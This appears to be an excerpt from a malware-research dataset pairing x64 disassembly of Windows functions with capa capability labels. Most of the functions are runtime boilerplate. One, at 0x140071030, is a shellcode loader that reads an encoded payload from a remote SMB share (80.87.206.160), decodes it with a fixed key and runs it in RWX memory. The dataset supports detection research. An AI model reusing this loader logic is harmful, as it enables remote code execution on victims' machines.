joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140070a22
Capabilities:
Query environment variable

Disassembly:
jmp 0x1401163c0
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1401161f0
lea rcx, [rsp + 0x40]
call fcn.140116370
movzx eax, al
test eax, eax
jne 0x140116408
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.140116220
mov rax, qword [rsp + 0x70]
jmp 0x1401165d9
lea rcx, [rsp + 0x40]
call fcn.140116340
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.1401162e0
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.140116340
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.140071436
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x1401164ae
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.140116220
mov rax, qword [rsp + 0x80]
jmp 0x1401165d9
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.1400707d9
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.1400706bc
lea rcx, [rsp + 0x48]
call fcn.14007039c
movzx eax, al
test eax, eax
jne 0x140116515
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.14006f771
lea rcx, [rsp + 0x40]
call fcn.140116220
mov rax, qword [rsp + 0x88]
jmp 0x1401165d9
lea rcx, [rsp + 0x48]
call fcn.140070cd4
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.140116340
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.140071436
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x1401165ab
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.14006f771
lea rcx, [rsp + 0x40]
call fcn.140116220
mov rax, qword [rsp + 0xa0]
jmp 0x1401165d9
lea rcx, [rsp + 0x48]
call fcn.140070699
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.14006f771
lea rcx, [rsp + 0x40]
call fcn.140116220
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret

Function at 0x140070a2c
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x140091700
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.1400910d0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140091741
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x14019d020]
jmp 0x140091747
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x48
ret
Function at 0x140070aae
Capabilities:
Get geographical location

Disassembly:
jmp 0x140124030
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.140122f60
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x140124097
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
movabs r10, 0xe375262d7cd44270
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call qword [0x14019d030]
jmp 0x1401240b9
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.140070347
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret

Function at 0x140070abd
Capabilities:
Terminate process

Disassembly:
jmp 0x140077480
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140070c84
Capabilities:
Print debug messages

Disassembly:
jmp 0x140130780
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [0x14018b080]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x1401307a6
jmp 0x140130823
mov rcx, qword [rbp + 0x30]
call fcn.1400705b8
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x1401307bf
jmp 0x140130823
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x1401307dc
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.14006f8b6
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.14006fc76
test eax, eax
jne 0x140130823
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.14007076b
lea rsp, [rbp + 0x20]
pop rbp
ret
Function at 0x140071030
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
jmp 0x140075de0
push rbp
push rdi
sub rsp, 0x458
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xa6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14018b080]
xor rax, rbp
mov qword [rbp + 0x408], rax
lea rcx, [0x14019c0a2]
call fcn.140072043
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.80.87.206.160_share_rten.bin
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x1f8], rax
cmp qword [rbp + 0x1f8], 0xffffffffffffffff
jne 0x140075e77
mov eax, 0xffffffff
jmp 0x140075fa3
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x214]
mov r8d, 0x1ce
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rbp + 0x234], eax
cmp dword [rbp + 0x234], 0
jne 0x140075ec4
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
jmp 0x140075fa3
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rbp + 0x258], 0x12
mov byte [rbp + 0x259], 0x34
mov byte [rbp + 0x25a], 0x56
mov byte [rbp + 0x25b], 0x78
mov byte [rbp + 0x25c], 0x9a
mov byte [rbp + 0x25d], 0xbc
mov byte [rbp + 0x25e], 0xde
mov byte [rbp + 0x25f], 0xf0
mov r9d, 8
lea r8, [rbp + 0x258]
mov edx, 0x1ce
lea rcx, [rbp + 0x10]
call fcn.14006ff96
mov r9d, 8
lea r8, [rbp + 0x258]
mov edx, 0x1ce
lea rcx, [rbp + 0x10]
call fcn.14006f361
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1ce
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x278], rax
cmp qword [rbp + 0x278], 0
jne 0x140075f70
mov eax, 0xffffffff
jmp 0x140075fa3
mov r8d, 0x1ce
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x278]
call fcn.140070770
call qword [rbp + 0x278]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140159010]
call fcn.1400717bf
mov rax, rdi
mov rcx, qword [rbp + 0x408]
xor rcx, rbp
call fcn.14007076b
lea rsp, [rbp + 0x418]
pop rdi
pop rbp
ret
Function at 0x140071102
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400787d0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400787f0
xor al, al
jmp 0x140078871
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140078803
xor al, al
jmp 0x140078871
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14007882d
xor al, al
jmp 0x140078871
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140078841
xor al, al
jmp 0x140078871
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140078853
xor al, al
jmp 0x140078871
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14007886f
xor al, al
jmp 0x140078871
mov al, 1
add rsp, 0x38
ret
Function at 0x1400715bc
Capabilities:
Terminate process

Disassembly:
jmp 0x140105ce0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x140105d0e
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
mov ecx, 2
call fcn.140071cbf
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000417
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140071d1e
Capabilities:
Print debug messages

Disassembly:
jmp 0x14010cd70
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x140071dc3
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x140091840
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.140091190
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140091889
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x14019d020]
jmp 0x140091898
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x48
ret

Function at 0x140071e5e
Capabilities:
Set environment variable

Disassembly:
jmp 0x140133630
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xb8
lea rcx, [rsp + 0x78]
call fcn.14007022a
lea rcx, [rsp + 0x48]
call fcn.14007022a
call fcn.1400709d2
mov r8d, eax
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0xc0]
call fcn.140070054
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x14013369f
mov dword [rsp + 0x24], 0
lea rcx, [rsp + 0x48]
call fcn.1400704f0
lea rcx, [rsp + 0x78]
call fcn.1400704f0
mov eax, dword [rsp + 0x24]
jmp 0x140133730
call fcn.1400709d2
mov r8d, eax
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
call fcn.140070054
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
je 0x1401336e6
mov dword [rsp + 0x2c], 0
lea rcx, [rsp + 0x48]
call fcn.1400704f0
lea rcx, [rsp + 0x78]
call fcn.1400704f0
mov eax, dword [rsp + 0x2c]
jmp 0x140133730
lea rcx, [rsp + 0x48]
call fcn.1400701b2
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x78]
call fcn.1400701b2
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x48]
call fcn.1400704f0
lea rcx, [rsp + 0x78]
call fcn.1400704f0
mov eax, dword [rsp + 0x30]
add rsp, 0xb8
ret
Function at 0x140143a60
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.14006f8b6
sub rsp, rax
mov rax, qword [0x14018b080]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x14018dbc0]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x140143c52
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x140143ba6
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x140143ba6
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x140143b8b
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x140143b28
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140143c12
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140143c71
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x44], eax
jae 0x140143c4d
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140143c71
jmp 0x140143afe
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.14007076b
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x140143d20
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.14006f8b6
sub rsp, rax
mov rax, qword [0x14018b080]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x14018dbc0]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x140143f2d
lea rax, [rsp + 0x147e]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
cmp qword [rsp + 0x38], rax
jae 0x140143e79
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x140143e79
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov word [rsp + 0x40], ax
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
movzx eax, word [rsp + 0x40]
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
cmp eax, 0xa
jne 0x140143e59
mov eax, dword [rsp + 0x78]
add eax, 2
mov dword [rsp + 0x78], eax
mov eax, 0xd
mov rcx, qword [rsp + 0x38]
mov word [rcx], ax
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, word [rsp + 0x30]
mov word [rax], cx
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
jmp 0x140143de8
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov eax, eax
shl rax, 1
mov dword [rsp + 0x44], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x44]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140143eed
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140143f4c
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x48], eax
jae 0x140143f28
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140143f4c
jmp 0x140143dbe
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.14007076b
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000b7a0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000b7b0]
mov dword [rax], 1
mov rax, qword [0x14000b7c0]
mov dword [rax], 1
mov rax, qword [0x14000b740]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000b790]
mov dword [0x14000f020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x14000b870]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x14000b850]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x14000b6f0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x1400018f0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001960
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000f0b4]
mov rbx, rcx
test esi, esi
jle 0x140001a90
mov rax, qword [0x14000f0b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400019ab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001a35
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001990
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001ab2
mov rax, qword [0x14000f0b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000f0b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001a97
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001a2e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001a40
add dword [0x14000f0b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000f0b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001a2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x1400019b8
mov rax, qword [0x14000f0b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x140002160
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
cmp edx, 2
je 0x140002290
ja 0x1400021a8
test edx, edx
je 0x140002228
mov eax, dword [0x14000f108]
test eax, eax
je 0x140002310
mov dword [0x14000f108], 1
mov eax, 1
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp edx, 3
jne 0x140002195
mov eax, dword [0x14000f108]
test eax, eax
je 0x140002195
lea r12, [0x14000f120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000f100]
test rbx, rbx
je 0x140002214
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140002338
test eax, eax
jne 0x140002338
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400021e8
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x140002195
mov eax, dword [0x14000f108]
test eax, eax
jne 0x1400022a8
mov eax, dword [0x14000f108]
cmp eax, 1
jne 0x140002195
mov rbx, qword [0x14000f100]
test rbx, rbx
je 0x140002261
nop dword [rax]
mov rcx, rbx
mov rbx, qword [rbx + 0x10]
call sym.free
test rbx, rbx
jne 0x140002250
lea rcx, [0x14000f120]
mov qword [0x14000f100], 0
mov dword [0x14000f108], 0
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
jmp 0x140002195
call sym._fpreset
mov eax, 1
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
lea r12, [0x14000f120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000f100]
test rbx, rbx
je 0x1400022fc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop word [rax + rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002328
test rsi, rsi
je 0x140002328
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400022d8
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x140002232
lea rcx, [0x14000f120]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
jmp 0x14000218b
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400022d8
jmp 0x1400022fc
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400021e8
jmp 0x140002214

Function at 0x140002350
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002368
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002370
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002380
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400023cd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400023c4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400023cf
add rax, 0x28
cmp rax, r9
jne 0x1400023b0
